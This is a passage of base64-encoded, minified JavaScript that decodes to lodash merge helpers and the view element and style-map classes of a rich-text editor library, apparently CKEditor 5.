0aW9uIFVhKHQsZSxuKXtpZihuIT09dW5kZWZpbmVkJiYhUih0W2VdLG4pfHxuPT09dW5kZWZpbmVkJiYhKGUgaW4gdCkpe0llKHQsZSxuKX19dmFyIEhhPVVhO2Z1bmN0aW9uIEdhKHQpe3JldHVybiBmdW5jdGlvbihlLG4saSl7dmFyIG89LTEscj1PYmplY3QoZSkscz1pKGUpLGE9cy5sZW5ndGg7d2hpbGUoYS0tKXt2YXIgYz1zW3Q/YTorK29dO2lmKG4ocltjXSxjLHIpPT09ZmFsc2Upe2JyZWFrfX1yZXR1cm4gZX19dmFyIFdhPUdhO3ZhciBLYT1XYSgpO3ZhciBxYT1LYTtmdW5jdGlvbiBZYSh0KXtyZXR1cm4gRCh0KSYmWm4odCl9dmFyIFFhPVlhO2Z1bmN0aW9uICRhKHQsZSl7aWYoZT09PSJjb25zdHJ1Y3RvciImJnR5cGVvZiB0W2VdPT09ImZ1bmN0aW9uIil7cmV0dXJufWlmKGU9PSJfX3Byb3RvX18iKXtyZXR1cm59cmV0dXJuIHRbZV19dmFyIEphPSRhO2Z1bmN0aW9uIFphKHQpe3JldHVybiBPZSh0LGRpKHQpKX12YXIgWGE9WmE7ZnVuY3Rpb24gdGModCxlLG4saSxvLHIscyl7dmFyIGE9SmEodCxuKSxjPUphKGUsbiksbD1zLmdldChjKTtpZihsKXtIYSh0LG4sbCk7cmV0dXJufXZhciBkPXI/cihhLGMsbisiIix0LGUscyk6dW5kZWZpbmVkO3ZhciB1PWQ9PT11bmRlZmluZWQ7aWYodSl7dmFyIGg9UWUoYyksZj0haCYmT2JqZWN0KCRlWyJhIl0pKGMpLG09IWgmJiFmJiZPbihjKTtkPWM7aWYoaHx8Znx8bSl7aWYoUWUoYSkpe2Q9YX1lbHNlIGlmKFFhKGEpKXtkPWdpKGEpfWVsc2UgaWYoZil7dT1mYWxzZTtkPU9iamVjdChmaVsiYSJdKShjLHRydWUpfWVsc2UgaWYobSl7dT1mYWxzZTtkPURvKGMsdHJ1ZSl9ZWxzZXtkPVtdfX1lbHNlIGlmKFAoYyl8fHFlKGMpKXtkPWE7aWYocWUoYSkpe2Q9WGEoYSl9ZWxzZSBpZighY3QoYSl8fG10KGEpKXtkPVpvKGMpfX1lbHNle3U9ZmFsc2V9fWlmKHUpe3Muc2V0KGMsZCk7byhkLGMsaSxyLHMpO3NbImRlbGV0ZSJdKGMpfUhhKHQsbixkKX12YXIgZWM9dGM7ZnVuY3Rpb24gbmModCxlLG4saSxvKXtpZih0PT09ZSl7cmV0dXJufXFhKGUsKGZ1bmN0aW9uKHIscyl7b3x8KG89bmV3IHhlKTtpZihjdChyKSl7ZWModCxlLHMsbixuYyxpLG8pfWVsc2V7dmFyIGE9aT9pKEphKHQscykscixzKyIiLHQsZSxvKTp1bmRlZmluZWQ7aWYoYT09PXVuZGVmaW5lZCl7YT1yfUhhKHQscyxhKX19KSxkaSl9dmFyIGljPW5jO2Z1bmN0aW9uIG9jKHQpe3JldHVybiB0fXZhciByYz1vYztmdW5jdGlvbiBzYyh0LGUsbil7c3dpdGNoKG4ubGVuZ3RoKXtjYXNlIDA6cmV0dXJuIHQuY2FsbChlKTtjYXNlIDE6cmV0dXJuIHQuY2FsbChlLG5bMF0pO2Nhc2UgMjpyZXR1cm4gdC5jYWxsKGUsblswXSxuWzFdKTtjYXNlIDM6cmV0dXJuIHQuY2FsbChlLG5bMF0sblsxXSxuWzJdKX1yZXR1cm4gdC5hcHBseShlLG4pfXZhciBhYz1zYzt2YXIgY2M9TWF0aC5tYXg7ZnVuY3Rpb24gbGModCxlLG4pe2U9Y2MoZT09PXVuZGVmaW5lZD90Lmxlbmd0aC0xOmUsMCk7cmV0dXJuIGZ1bmN0aW9uKCl7dmFyIGk9YXJndW1lbnRzLG89LTEscj1jYyhpLmxlbmd0aC1lLDApLHM9QXJyYXkocik7d2hpbGUoKytvPHIpe3Nbb109aVtlK29dfW89LTE7dmFyIGE9QXJyYXkoZSsxKTt3aGlsZSgrK288ZSl7YVtvXT1pW29dfWFbZV09bihzKTtyZXR1cm4gYWModCx0aGlzLGEpfX12YXIgZGM9bGM7ZnVuY3Rpb24gdWModCl7cmV0dXJuIGZ1bmN0aW9uKCl7cmV0dXJuIHR9fXZhciBoYz11Yzt2YXIgZmM9IVNlP3JjOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIFNlKHQsInRvU3RyaW5nIix7Y29uZmlndXJhYmxlOnRydWUsZW51bWVyYWJsZTpmYWxzZSx2YWx1ZTpoYyhlKSx3cml0YWJsZTp0cnVlfSl9O3ZhciBtYz1mYzt2YXIgZ2M9ODAwLHBjPTE2O3ZhciBrYz1EYXRlLm5vdztmdW5jdGlvbiBiYyh0KXt2YXIgZT0wLG49MDtyZXR1cm4gZnVuY3Rpb24oKXt2YXIgaT1rYygpLG89cGMtKGktbik7bj1pO2lmKG8+MCl7aWYoKytlPj1nYyl7cmV0dXJuIGFyZ3VtZW50c1swXX19ZWxzZXtlPTB9cmV0dXJuIHQuYXBwbHkodW5kZWZpbmVkLGFyZ3VtZW50cyl9fXZhciB3Yz1iYzt2YXIgQ2M9d2MobWMpO3ZhciBBYz1DYztmdW5jdGlvbiBfYyh0LGUpe3JldHVybiBBYyhkYyh0LGUscmMpLHQrIiIpfXZhciB2Yz1fYztmdW5jdGlvbiB5Yyh0LGUsbil7aWYoIWN0KG4pKXtyZXR1cm4gZmFsc2V9dmFyIGk9dHlwZW9mIGU7aWYoaT09Im51bWJlciI/Wm4obikmJnRuKGUsbi5sZW5ndGgpOmk9PSJzdHJpbmciJiZlIGluIG4pe3JldHVybiBSKG5bZV0sdCl9cmV0dXJuIGZhbHNlfXZhciB4Yz15YztmdW5jdGlvbiBEYyh0KXtyZXR1cm4gdmMoKGZ1bmN0aW9uKGUsbil7dmFyIGk9LTEsbz1uLmxlbmd0aCxyPW8+MT9uW28tMV06dW5kZWZpbmVkLHM9bz4yP25bMl06dW5kZWZpbmVkO3I9dC5sZW5ndGg+MyYmdHlwZW9mIHI9PSJmdW5jdGlvbiI/KG8tLSxyKTp1bmRlZmluZWQ7aWYocyYmeGMoblswXSxuWzFdLHMpKXtyPW88Mz91bmRlZmluZWQ6cjtvPTF9ZT1PYmplY3QoZSk7d2hpbGUoKytpPG8pe3ZhciBhPW5baV07aWYoYSl7dChlLGEsaSxyKX19cmV0dXJuIGV9KSl9dmFyIEVjPURjO3ZhciBNYz1FYygoZnVuY3Rpb24odCxlLG4pe2ljKHQsZSxuKX0pKTt2YXIgU2M9TWM7ZnVuY3Rpb24gVGModCxlLG4saSl7aWYoIWN0KHQpKXtyZXR1cm4gdH1lPXlhKGUsdCk7dmFyIG89LTEscj1lLmxlbmd0aCxzPXItMSxhPXQ7d2hpbGUoYSE9bnVsbCYmKytvPHIpe3ZhciBjPVNhKGVbb10pLGw9bjtpZihvIT1zKXt2YXIgZD1hW2NdO2w9aT9pKGQsYyxhKTp1bmRlZmluZWQ7aWYobD09PXVuZGVmaW5lZCl7bD1jdChkKT9kOnRuKGVbbysxXSk/W106e319fXplKGEsYyxsKTthPWFbY119cmV0dXJuIHR9dmFyIEljPVRjO2Z1bmN0aW9uIE5jKHQsZSxuKXtyZXR1cm4gdD09bnVsbD90OkljKHQsZSxuKX12YXIgQmM9TmM7Y2xhc3MgUGN7Y29uc3RydWN0b3IodCl7dGhpcy5fc3R5bGVzPXt9O3RoaXMuX3N0eWxlUHJvY2Vzc29yPXR9Z2V0IGlzRW1wdHkoKXtjb25zdCB0PU9iamVjdC5lbnRyaWVzKHRoaXMuX3N0eWxlcyk7Y29uc3QgZT1BcnJheS5mcm9tKHQpO3JldHVybiFlLmxlbmd0aH1nZXQgc2l6ZSgpe2lmKHRoaXMuaXNFbXB0eSl7cmV0dXJuIDB9cmV0dXJuIHRoaXMuZ2V0U3R5bGVOYW1lcygpLmxlbmd0aH1zZXRUbyh0KXt0aGlzLmNsZWFyKCk7Y29uc3QgZT1BcnJheS5mcm9tKExjKHQpLmVudHJpZXMoKSk7Zm9yKGNvbnN0W3Qsbl1vZiBlKXt0aGlzLl9zdHlsZVByb2Nlc3Nvci50b05vcm1hbGl6ZWRGb3JtKHQsbix0aGlzLl9zdHlsZXMpfX1oYXModCl7aWYodGhpcy5pc0VtcHR5KXtyZXR1cm4gZmFsc2V9Y29uc3QgZT10aGlzLl9zdHlsZVByb2Nlc3Nvci5nZXRSZWR1Y2VkRm9ybSh0LHRoaXMuX3N0eWxlcyk7Y29uc3Qgbj1lLmZpbmQoKChbZV0pPT5lPT09dCkpO3JldHVybiBBcnJheS5pc0FycmF5KG4pfXNldCh0LGUpe2lmKGN0KHQpKXtmb3IoY29uc3RbZSxuXW9mIE9iamVjdC5lbnRyaWVzKHQpKXt0aGlzLl9zdHlsZVByb2Nlc3Nvci50b05vcm1hbGl6ZWRGb3JtKGUsbix0aGlzLl9zdHlsZXMpfX1lbHNle3RoaXMuX3N0eWxlUHJvY2Vzc29yLnRvTm9ybWFsaXplZEZvcm0odCxlLHRoaXMuX3N0eWxlcyl9fXJlbW92ZSh0KXtjb25zdCBlPU9jKHQpO2phKHRoaXMuX3N0eWxlcyxlKTtkZWxldGUgdGhpcy5fc3R5bGVzW3RdO3RoaXMuX2NsZWFuRW1wdHlPYmplY3RzT25QYXRoKGUpfWdldE5vcm1hbGl6ZWQodCl7cmV0dXJuIHRoaXMuX3N0eWxlUHJvY2Vzc29yLmdldE5vcm1hbGl6ZWQodCx0aGlzLl9zdHlsZXMpfXRvU3RyaW5nKCl7aWYodGhpcy5pc0VtcHR5KXtyZXR1cm4iIn1yZXR1cm4gdGhpcy5fZ2V0U3R5bGVzRW50cmllcygpLm1hcCgodD0+dC5qb2luKCI6IikpKS5zb3J0KCkuam9pbigiOyIpKyI7In1nZXRBc1N0cmluZyh0KXtpZih0aGlzLmlzRW1wdHkpe3JldHVybn1pZih0aGlzLl9zdHlsZXNbdF0mJiFjdCh0aGlzLl9zdHlsZXNbdF0pKXtyZXR1cm4gdGhpcy5fc3R5bGVzW3RdfWNvbnN0IGU9dGhpcy5fc3R5bGVQcm9jZXNzb3IuZ2V0UmVkdWNlZEZvcm0odCx0aGlzLl9zdHlsZXMpO2NvbnN0IG49ZS5maW5kKCgoW2VdKT0+ZT09PXQpKTtpZihBcnJheS5pc0FycmF5KG4pKXtyZXR1cm4gblsxXX19Z2V0U3R5bGVOYW1lcygpe2lmKHRoaXMuaXNFbXB0eSl7cmV0dXJuW119Y29uc3QgdD10aGlzLl9nZXRTdHlsZXNFbnRyaWVzKCk7cmV0dXJuIHQubWFwKCgoW3RdKT0+dCkpfWNsZWFyKCl7dGhpcy5fc3R5bGVzPXt9fV9nZXRTdHlsZXNFbnRyaWVzKCl7Y29uc3QgdD1bXTtjb25zdCBlPU9iamVjdC5rZXlzKHRoaXMuX3N0eWxlcyk7Zm9yKGNvbnN0IG4gb2YgZSl7dC5wdXNoKC4uLnRoaXMuX3N0eWxlUHJvY2Vzc29yLmdldFJlZHVjZWRGb3JtKG4sdGhpcy5fc3R5bGVzKSl9cmV0dXJuIHR9X2NsZWFuRW1wdHlPYmplY3RzT25QYXRoKHQpe2NvbnN0IGU9dC5zcGxpdCgiLiIpO2NvbnN0IG49ZS5sZW5ndGg+MTtpZighbil7cmV0dXJufWNvbnN0IGk9ZS5zcGxpY2UoMCxlLmxlbmd0aC0xKS5qb2luKCIuIik7Y29uc3Qgbz1WYSh0aGlzLl9zdHlsZXMsaSk7aWYoIW8pe3JldHVybn1jb25zdCByPSFBcnJheS5mcm9tKE9iamVjdC5rZXlzKG8pKS5sZW5ndGg7aWYocil7dGhpcy5yZW1vdmUoaSl9fX1jbGFzcyB6Y3tjb25zdHJ1Y3Rvcigpe3RoaXMuX25vcm1hbGl6ZXJzPW5ldyBNYXA7dGhpcy5fZXh0cmFjdG9ycz1uZXcgTWFwO3RoaXMuX3JlZHVjZXJzPW5ldyBNYXA7dGhpcy5fY29uc3VtYWJsZXM9bmV3IE1hcH10b05vcm1hbGl6ZWRGb3JtKHQsZSxuKXtpZihjdChlKSl7UmMobixPYyh0KSxlKTtyZXR1cm59aWYodGhpcy5fbm9ybWFsaXplcnMuaGFzKHQpKXtjb25zdCBpPXRoaXMuX25vcm1hbGl6ZXJzLmdldCh0KTtjb25zdHtwYXRoOm8sdmFsdWU6cn09aShlKTtSYyhuLG8scil9ZWxzZXtSYyhuLHQsZSl9fWdldE5vcm1hbGl6ZWQodCxlKXtpZighdCl7cmV0dXJuIFNjKHt9LGUpfWlmKGVbdF0hPT11bmRlZmluZWQpe3JldHVybiBlW3RdfWlmKHRoaXMuX2V4dHJhY3RvcnMuaGFzKHQpKXtjb25zdCBuPXRoaXMuX2V4dHJhY3RvcnMuZ2V0KHQpO2lmKHR5cGVvZiBuPT09InN0cmluZyIpe3JldHVybiBWYShlLG4pfWNvbnN0IGk9bih0LGUpO2lmKGkpe3JldHVybiBpfX1yZXR1cm4gVmEoZSxPYyh0KSl9Z2V0UmVkdWNlZEZvcm0odCxlKXtjb25zdCBuPXRoaXMuZ2V0Tm9ybWFsaXplZCh0LGUpO2lmKG49PT11bmRlZmluZWQpe3JldHVybltdfWlmKHRoaXMuX3JlZHVjZXJzLmhhcyh0KSl7Y29uc3QgZT10aGlzLl9yZWR1Y2Vycy5nZXQodCk7cmV0dXJuIGUobil9cmV0dXJuW1t0LG5dXX1nZXRSZWxhdGVkU3R5bGVzKHQpe3JldHVybiB0aGlzLl9jb25zdW1hYmxlcy5nZXQodCl8fFtdfXNldE5vcm1hbGl6ZXIodCxlKXt0aGlzLl9ub3JtYWxpemVycy5zZXQodCxlKX1zZXRFeHRyYWN0b3IodCxlKXt0aGlzLl9leHRyYWN0b3JzLnNldCh0LGUpfXNldFJlZHVjZXIodCxlKXt0aGlzLl9yZWR1Y2Vycy5zZXQodCxlKX1zZXRTdHlsZVJlbGF0aW9uKHQsZSl7dGhpcy5fbWFwU3R5bGVOYW1lcyh0LGUpO2Zvcihjb25zdCBuIG9mIGUpe3RoaXMuX21hcFN0eWxlTmFtZXMobixbdF0pfX1fbWFwU3R5bGVOYW1lcyh0LGUpe2lmKCF0aGlzLl9jb25zdW1hYmxlcy5oYXModCkpe3RoaXMuX2NvbnN1bWFibGVzLnNldCh0LFtdKX10aGlzLl9jb25zdW1hYmxlcy5nZXQodCkucHVzaCguLi5lKX19ZnVuY3Rpb24gTGModCl7bGV0IGU9bnVsbDtsZXQgbj0wO2xldCBpPTA7bGV0IG89bnVsbDtjb25zdCByPW5ldyBNYXA7aWYodD09PSIiKXtyZXR1cm4gcn1pZih0LmNoYXJBdCh0Lmxlbmd0aC0xKSE9IjsiKXt0PXQrIjsifWZvcihsZXQgcz0wO3M8dC5sZW5ndGg7cysrKXtjb25zdCBhPXQuY2hhckF0KHMpO2lmKGU9PT1udWxsKXtzd2l0Y2goYSl7Y2FzZSI6IjppZighbyl7bz10LnN1YnN0cihuLHMtbik7aT1zKzF9YnJlYWs7Y2FzZSciJzpjYXNlIiciOmU9YTticmVhaztjYXNlIjsiOntjb25zdCBlPXQuc3Vic3RyKGkscy1pKTtpZihvKXtyLnNldChvLnRyaW0oKSxlLnRyaW0oKSl9bz1udWxsO249cysxO2JyZWFrfX19ZWxzZSBpZihhPT09ZSl7ZT1udWxsfX1yZXR1cm4gcn1mdW5jdGlvbiBPYyh0KXtyZXR1cm4gdC5yZXBsYWNlKCItIiwiLiIpfWZ1bmN0aW9uIFJjKHQsZSxuKXtsZXQgaT1uO2lmKGN0KG4pKXtpPVNjKHt9LFZhKHQsZSksbil9QmModCxlLGkpfWNsYXNzIGpjIGV4dGVuZHMgRnN7Y29uc3RydWN0b3IodCxlLG4saSl7c3VwZXIodCk7dGhpcy5uYW1lPWU7dGhpcy5fYXR0cnM9RmMobik7dGhpcy5fY2hpbGRyZW49W107aWYoaSl7dGhpcy5faW5zZXJ0Q2hpbGQoMCxpKX10aGlzLl9jbGFzc2VzPW5ldyBTZXQ7aWYodGhpcy5fYXR0cnMuaGFzKCJjbGFzcyIpKXtjb25zdCB0PXRoaXMuX2F0dHJzLmdldCgiY2xhc3MiKTtWYyh0aGlzLl9jbGFzc2VzLHQpO3RoaXMuX2F0dHJzLmRlbGV0ZSgiY2xhc3MiKX10aGlzLl9zdHlsZXM9bmV3IFBjKHRoaXMuZG9jdW1lbnQuc3R5bGVzUHJvY2Vzc29yKTtpZih0aGlzLl9hdHRycy5oYXMoInN0eWxlIikpe3RoaXMuX3N0eWxlcy5zZXRUbyh0aGlzLl9hdHRycy5nZXQoInN0eWxlIikpO3RoaXMuX2F0dHJzLmRlbGV0ZSgic3R5bGUiKX10aGlzLl9jdXN0b21Qcm9wZXJ0aWVzPW5ldyBNYXB9Z2V0IGNoaWxkQ291bnQoKXtyZXR1cm4gdGhpcy5fY2hpbGRyZW4ubGVuZ3RofWdldCBpc0VtcHR5KCl7cmV0dXJuIHRoaXMuX2NoaWxkcmVuLmxlbmd0aD09PTB9aXModCxlPW51bGwpe2lmKCFlKXtyZXR1cm4gdD09PSJlbGVtZW50Inx8dD09PSJ2aWV3OmVsZW1lbnQifHx0PT09Im5vZGUifHx0PT09InZpZXc6bm9kZSJ9ZWxzZXtyZXR1cm4gZT09PXRoaXMubmFtZSYmKHQ9PT0iZWxlbWVudCJ8fHQ9PT0idmlldzplbGVtZW50Iil9fWdldENoaWxkKHQpe3JldHVybiB0aGlzLl9jaGlsZHJlblt0XX1nZXRDaGlsZEluZGV4KHQpe3JldHVybiB0aGlzLl9jaGlsZHJlbi5pbmRleE9mKHQpfWdldENoaWxkcmVuKCl7cmV0dXJuIHRoaXMuX2NoaWxkcmVuW1N5bWJvbC5pdGVyYXRvcl0oKX0qZ2V0QXR0cmlidXRlS2V5cygpe2lmKHRoaXMuX2NsYXNzZXMuc2l6ZT4wKXt5aWVsZCJjbGFzcyJ9aWYoIXRoaXMuX3N0eWxlcy5pc0VtcHR5KXt5aWVsZCJzdHlsZSJ9eWllbGQqdGhpcy5fYXR0cnMua2V5cygpfSpnZXRBdHRyaWJ1dGVzKCl7eWllbGQqdGhpcy5fYXR0cnMuZW50cmllcygpO2lmKHRoaXMuX2NsYXNzZXMuc2l6ZT4wKXt5aWVsZFsiY2xhc3MiLHRoaXMuZ2V0QXR0cmlidXRlKCJjbGFzcyIpXX1pZighdGhpcy5fc3R5bGVzLmlzRW1wdHkpe3lpZWxkWyJzdHlsZSIsdGhpcy5nZXRBdHRyaWJ1dGUoInN0eWxlIildfX1nZXRBdHRyaWJ1dGUodCl7aWYodD09ImNsYXNzIil7aWYodGhpcy5fY2xhc3Nlcy5zaXplPjApe3JldHVyblsuLi50aGlzLl9jbGFzc2VzXS5qb2luKCIgIil9cmV0dXJuIHVuZGVmaW5lZH1pZih0PT0ic3R5bGUiKXtjb25zdCB0PXRoaXMuX3N0eWxlcy50b1N0cmluZygpO3JldHVybiB0PT0iIj91bmRlZmluZWQ6dH1yZXR1cm4gdGhpcy5fYXR0cnMuZ2V0KHQpfWhhc0F0dHJpYnV0ZSh0KXtpZih0PT0iY2xhc3MiKXtyZXR1cm4gdGhpcy5fY2xhc3Nlcy5zaXplPjB9aWYodD09InN0eWxlIil7cmV0dXJuIXRoaXMuX3N0eWxlcy5pc0VtcHR5fXJldHVybiB0aGlzLl9hdHRycy5oYXModCl9aXNTaW1pbGFyKHQpe2lmKCEodCBpbnN0YW5jZW9mIGpjKSl7cmV0dXJuIGZhbHNlfWlmKHRoaXM9PT10KXtyZXR1cm4gdHJ1ZX1pZih0aGlzLm5hbWUhPXQubmFtZSl7cmV0dXJuIGZhbHNlfWlmKHRoaXMuX2F0dHJzLnNpemUhPT10Ll9hdHRycy5zaXplfHx0aGlzLl9jbGFzc2VzLnNpemUhPT10Ll9jbGFzc2VzLnNpemV8fHRoaXMuX3N0eWxlcy5zaXplIT09dC5fc3R5bGVzLnNpemUpe3JldHVybiBmYWxzZX1mb3IoY29uc3RbZSxuXW9mIHRoaXMuX2F0dHJzKXtpZighdC5fYXR0cnMuaGFzKGUpfHx0Ll9hdHRycy5nZXQoZSkhPT1uKXtyZXR1cm4gZmFsc2V9fWZvcihjb25zdCBlIG9mIHRoaXMuX2NsYXNzZXMpe2lmKCF0Ll9jbGFzc2VzLmhhcyhlKSl7cmV0dXJuIGZhbHNlfX1mb3IoY29uc3QgZSBvZiB0aGlzLl9zdHlsZXMuZ2V0U3R5bGVOYW1lcygpKXtpZighdC5fc3R5bGVzLmhhcyhlKXx8dC5fc3R5bGVzLmdldEFzU3RyaW5nKGUpIT09dGhpcy5fc3R5bGVzLmdldEFzU3RyaW5nKGUpKXtyZXR1cm4gZmFsc2V9fXJldHVybiB0cnVlfWhhc0NsYXNzKC4uLnQpe2Zvcihjb25zdCBlIG9mIHQpe2lmKCF0aGlzLl9jbGFzc2VzLmhhcyhlKSl7cmV0dXJuIGZhbHNlfX1yZXR1cm4gdHJ1ZX1nZXRDbGFzc05hbWVzKCl7cmV0dXJuIHRoaXMuX2NsYXNzZXMua2V5cygpfWdldFN0eWxlKHQpe3JldHVybiB0aGlzLl9zdHlsZXMuZ2V0QXNTdHJpbmcodCl9Z2V0Tm9ybWFsaXplZFN0eWxlKHQpe3JldHVybiB0aGlzLl9zdHlsZXMuZ2V0Tm9ybWFsaXplZCh0KX1nZXRTdHlsZU5hbWVzKCl7cmV0dXJuIHRoaXMuX3N0eWxlcy5nZXRTdHlsZU5hbWVzKCl9aGFzU3R5bGUoLi4udCl7Zm9yKGNvbnN0IGUgb2YgdCl7aWYoIXRoaXMuX3N0eWxlcy5oYXMoZSkpe3JldHVybiBmYWxzZX19cmV0dXJuIHRydWV9ZmluZEFuY2VzdG9yKC4uLnQpe2NvbnN0IGU9bmV3IFdzKC4uLnQpO2xldCBuPXRoaXMucGFyZW50O3doaWxlKG4pe2lmKGUubWF0Y2gobikpe3JldHVybiBufW49bi5wYXJlbnR9cmV0dXJuIG51bGx9Z2V0Q3VzdG9tUHJvcGVydHkodCl7cmV0dXJuIHRoaXMuX2N1c3RvbVByb3BlcnRpZXMuZ2V0KHQpfSpnZXRDdXN0b21Qcm9wZXJ0aWVzKCl7eWllbGQqdGhpcy5fY3VzdG9tUHJvcGVydGllcy5lbnRyaWVzKCl9Z2V0SWRlbnRpdHkoKXtjb25zdCB0PUFycmF5LmZyb20odGhpcy5fY2xhc3Nlcykuc29ydCgpLmpvaW4oIiwiKTtjb25zdCBlPXRoaXMuX3N0eWxlcy50b1N0cmluZygpO2NvbnN0IG49QXJyYXkuZnJvbSh0aGlzLl9hdHRycykubWFwKCh0PT5gJHt0WzBdfT0iJHt0WzFdfSJgKSkuc29ydCgpLmpvaW4oIiAiKTtyZXR1cm4gdGhpcy5uYW1lKyh0PT0iIj8iIjpgIGNsYXNzPSIke3R9ImApKyghZT8iIjpgIHN0eWxlPSIke2V9ImApKyhuPT0iIj8iIjpgICR7bn1gKX1fY2xvbmUodD1mYWxzZSl7Y29uc3QgZT1bXTtpZih0KXtmb3IoY29uc3QgbiBvZiB0aGlzLmdldENoaWxkcmVuKCkpe2UucHVzaChuLl9jbG9uZSh0KSl9fWNvbnN0IG49bmV3IHRoaXMuY29uc3RydWN0b3IodGhpcy5kb2N1bWVudCx0aGlzLm5hbWUsdGhpcy5fYXR0cnMsZSk7bi5fY2xhc3Nlcz1uZXcgU2V0KHRoaXMuX2NsYXNzZXMpO24uX3N0eWxlcy5zZXQodGhpcy5fc3R5bGVzLmdldE5vcm1hbGl6ZWQoKSk7bi5fY3VzdG9tUHJvcGVydGllcz1uZXcgTWFwKHRoaXMuX2N1c3RvbVByb3BlcnRpZXMpO24uZ2V0RmlsbGVyT2Zmc2V0PXRoaXMuZ2V0RmlsbGVyT2Zmc2V0O3JldHVybiBufV9hcHBlbmRDaGlsZCh0KXtyZXR1cm4gdGhpcy5faW5zZXJ0Q2hpbGQodGhpcy5jaGlsZENvdW50LHQpfV9pbnNlcnRDaGlsZCh0LGUpe3RoaXMuX2ZpcmVDaGFuZ2UoImNoaWxkcmVuIix0aGlzKTtsZXQgbj0wO2NvbnN0IGk9VWModGhpcy5kb2N1bWVudCxlKTtmb3IoY29uc3QgZSBvZiBpKXtpZihlLnBhcmVudCE9PW51bGwpe2UuX3JlbW92ZSgpfWUucGFyZW50PXRoaXM7ZS5kb2N1bWVudD10aGlzLmRvY3VtZW50O3RoaXMuX2NoaWxkcmVuLnNwbGljZSh0LDAsZSk7dCsrO24rK31yZXR1cm4gbn1fcmVtb3ZlQ2hpbGRyZW4odCxlPTEpe3RoaXMuX2ZpcmVDaGFuZ2UoImNoaWxkcmVuIix0aGlzKTtmb3IobGV0IG49dDtuPHQrZTtuKyspe3RoaXMuX2NoaWxkcmVuW25dLnBhcmVudD1udWxsfXJldHVybiB0aGlzLl9jaGlsZHJlbi5zcGxpY2UodCxlKX1fc2V0QXR0cmlidXRlKHQsZSl7ZT1TdHJpbmcoZSk7dGhpcy5fZmlyZUNoYW5nZSgiYXR0cmlidXRlcyIsdGhpcyk7aWYodD09ImNsYXNzIil7VmModGhpcy5fY2xhc3NlcyxlKX1lbHNlIGlmKHQ9PSJzdHlsZSIpe3RoaXMuX3N0eWxlcy5zZXRUbyhlKX1lbHNle3RoaXMuX2F0dHJzLnNldCh0LGUpfX1fcmVtb3ZlQXR0cmlidXRlKHQpe3RoaXMuX2ZpcmVDaGFuZ2UoImF0dHJpYnV0ZXMiLHRoaXMpO2lmKHQ9PSJjbGFzcyIpe2lmKHRoaXMuX2NsYXNzZXMuc2l6ZT4wKXt0aGlzLl9jbGFzc2VzLmNsZWFyKCk7cmV0dXJuIHRydWV9cmV0dXJuIGZhbHNlfWlmKHQ9PSJzdHlsZSIpe2lmKCF0aGlzLl9zdHlsZXMuaXNFbXB0eSl7dGhpcy5fc3R5bGVzLmNsZWFyKCk7cmV0dXJuIHRydWV9cmV0dXJuIGZhbHNlfXJldHVybiB0aGlzLl9hdHRycy5kZWxldGUodCl9X2FkZENsYXNzKHQpe3RoaXMuX2ZpcmVDaGFuZ2UoImF0dHJpYnV0ZXMiLHRoaXMpO2Zvcihjb25zdCBlIG9mIHhzKHQpKXt0aGlzLl9jbGFzc2VzLmFkZChlKX19X3JlbW92ZUNsYXNzKHQpe3RoaXMuX2ZpcmVDaGFuZ2UoImF0dHJpYnV0ZXMiLHRoaXMpO2Zvcihjb25zdCBlIG9mIHhzKHQpKXt0aGlzLl9jbGFzc2VzLmRlbGV0ZShlKX19X3NldFN0eWxlKHQsZSl7dGhpcy5fZmlyZUNoYW5nZSgiYXR0cmlidXRlcyIsdGhpcyk7dGhpcy5fc3R5bGVzLnNldCh0LGUpfV9yZW1vdmVTdHlsZSh0KXt0aGlzLl9maXJlQ2hhbmdlKCJhdHRyaWJ1dGVzIix0aGlzKTtmb3IoY29uc3QgZSBvZiB4cyh0KSl7dGhpcy5fc3R5bGVzLnJlbW92ZShlKX19X3NldEN1c3RvbVByb3BlcnR5KHQsZSl7dGhpcy5fY3VzdG9tUHJvcGVydGllcy5zZXQodCxlKX1fcmVtb3ZlQ3VzdG9tUHJvcGVydHkodCl7cmV0dXJuIHRoaXMuX2N1c3RvbVByb3BlcnRpZXMuZGVsZXRlKHQpfX1mdW5jdGlvbiBGYyh0KXt0PUdzKHQpO2Zvcihjb25zdFtlLG5db2YgdCl7aWYobj09PW51bGwpe3QuZGVsZXRlKGUpfWVsc2UgaWYodHlwZW9mIG4hPSJzdHJpbmciKXt0LnNldChlLFN0cmluZyhuKSl9fXJldHVybiB0fWZ1bmN0aW9uIFZjKHQsZSl7Y29uc3Qgbj1lLnNwbGl0KC9ccysvKTt0LmNsZWFyKCk7bi5mb3JFYWNoKChlPT50LmFkZChlKSkpfWZ1bmN0aW9uIFVjKHQsZSl7aWYodHlwZW9mIGU9PSJzdHJpbmciKXtyZXR1cm5bbmV3IFZzKHQsZSldfWlmKCFBcyhlKSl7ZT1bZV19cmV0dXJuIEFycmF5LmZyb20oZSkubWFwKChlPT57aWYodHlwZW9mIGU9PSJzdHJpbmciKXtyZXR1cm4gbmV3IFZzKHQsZSl9aWYoZSBpbnN0YW5jZW9mIFVzKXtyZXR1cm4gbmV3IFZzKHQsZS5kYXRhKX1yZXR1cm4gZX0pKX1jbGFzcyBIYyBleHRlbmRzIGpje2NvbnN0cnVjdG9yKHQsZSxuLGkpe3N1cGVyKHQsZSxuLGkpO3RoaXMuZ2V0RmlsbGVyT2Zmc2V0PUdjfWlzKHQsZT1udWxsKXtpZighZSl7cmV0dXJuIHQ9PT0iY29udGFpbmVyRWxlbWVudCJ8fHQ9PT0idmlldzpjb250YWluZXJFbGVtZW50Inx8dD09PSJlbGVtZW50Inx8dD09PSJ2aWV3OmVsZW1lbnQifHx0PT09Im5vZGUifHx0PT09InZpZXc6bm9kZSJ9ZWxzZXtyZXR1cm4gZT09PXRoaXMubmFtZSYmKHQ9PT0iY29udGFpbmVyRWxlbWVudCJ8fHQ9PT0idmlldzpjb250YWluZXJFbGVtZW50Inx8dD09PSJlbGVtZW50Inx8dD09PSJ2aWV3OmVsZW1lbnQiKX19fWZ1bmN0aW9uIEdjKCl7Y29uc3QgdD1bLi4udGhpcy5nZXRDaGlsZHJlbigpXTtjb25zdCBlPXRbdGhpcy5jaGlsZENvdW50LTFdO2lmKGUmJmUuaXMoImVsZW1lbnQiLCJiciIpKXtyZXR1cm4gdGhpcy5jaGlsZENvdW50fWZvcihjb25zdCBlIG9mIHQpe2lmKCFlLmlzKCJ1aUVsZW1lbnQiKSl7cmV0dXJuIG51bGx9fXJldHVybiB0aGlzLmNoaWxkQ291bnR9dmFyIFdjPUVjKChmdW5jdGlvbih0LGUpe09lKGUsZGkoZSksdCl9KSk7dmF